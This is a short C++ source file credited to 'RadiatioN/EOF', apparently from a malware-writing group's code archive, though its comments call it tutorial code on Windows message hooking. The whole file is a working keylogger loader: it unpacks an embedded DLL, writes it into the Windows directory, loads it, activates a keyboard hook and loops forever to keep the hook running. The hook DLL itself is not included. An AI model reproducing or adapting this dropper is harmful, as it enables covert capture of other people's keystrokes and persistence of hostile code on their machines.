|| Author: RadiatioN/EOF || Back to sources || View project folder ||
// KeybHookPrg.cpp : Definiert den Einsprungpunkt für die Anwendung. // #include "stdafx.h" //Example code for tutorial "Introduction in Windows Message Hooking" //typedef for hookfunctions in dll typedef void (*InstallHookProc)(void); typedef void (*UninstallHookProc)(void); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { //variable definitions HMODULE hm; char szWinDir[MAX_PATH]=""; HRSRC hRes; HGLOBAL hResGlob; DWORD *dwResPointer, dwResSize; int iFile=0; //use typedef's InstallHookProc InstallHook; UninstallHookProc UninstallHook; //get windows directory and add our dll name GetWindowsDirectory(szWinDir, MAX_PATH); strcat(szWinDir, "\\KeybHookDll.dll"); //used for development //http://www.cpp-tutor.de/mfc/mfc/kap7/tut/tut2.htm //http://www.codeproject.com/win32/binaryresources.asp //Find resource in exe hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_BINARY1), "BINARY"); //load resource in memory hResGlob = LoadResource(NULL, hRes); //Get Pointer to resource in memory dwResPointer = (DWORD*)LockResource(hResGlob); //how big is the resource? dwResSize = SizeofResource(NULL, hRes); //write resource to disk iFile = open(szWinDir, _O_BINARY | _O_CREAT | _O_TRUNC | _O_WRONLY, 777); if(iFile!=-1) { write(iFile, dwResPointer, dwResSize); close(iFile); } //load the library to hook hm = LoadLibrary(szWinDir); //get function addresses in memory InstallHook = (InstallHookProc)GetProcAddress(hm, "?InstallHook@@YGXXZ"); UninstallHook = (UninstallHookProc)GetProcAddress(hm, "?UninstallHook@@YGXXZ"); //activate hook now InstallHook(); //if you want you can disable the hook call //UninstallHook(); //never ending loop //on break and ending the app the hook will be uninstalled //cause dll will be unloaded by the system while(1) { Sleep(3000); } //everything fine, return success return 0; }